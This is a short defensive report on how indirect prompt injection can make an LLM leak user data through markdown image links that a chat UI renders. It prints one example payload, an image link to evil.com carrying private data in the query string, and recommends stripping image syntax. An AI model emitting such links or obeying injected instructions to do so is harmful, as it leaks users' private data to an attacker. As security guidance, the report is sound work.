Report #72395
[gotcha] Data exfiltration via markdown image links in LLM output
Sanitize LLM outputs to remove markdown image syntax \`\!\[...\]\(...\)\` or enforce strict JSON output schemas instead of raw markdown. Never render untrusted LLM output as HTML without sanitization.
Journey Context:
If an LLM is compromised via indirect injection, it can be instructed to exfiltrate user data by generating markdown images pointing to an attacker's server: \`\!\[img\]\(https://evil.com/steal?data=USER\_PRIVATE\_DATA\)\`. When the chat UI renders this markdown, the browser automatically makes a GET request, sending the data in the URL query parameters. Stripping image tags breaks the exfiltration channel.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-21T04:06:01.653469+00:00— report_created — created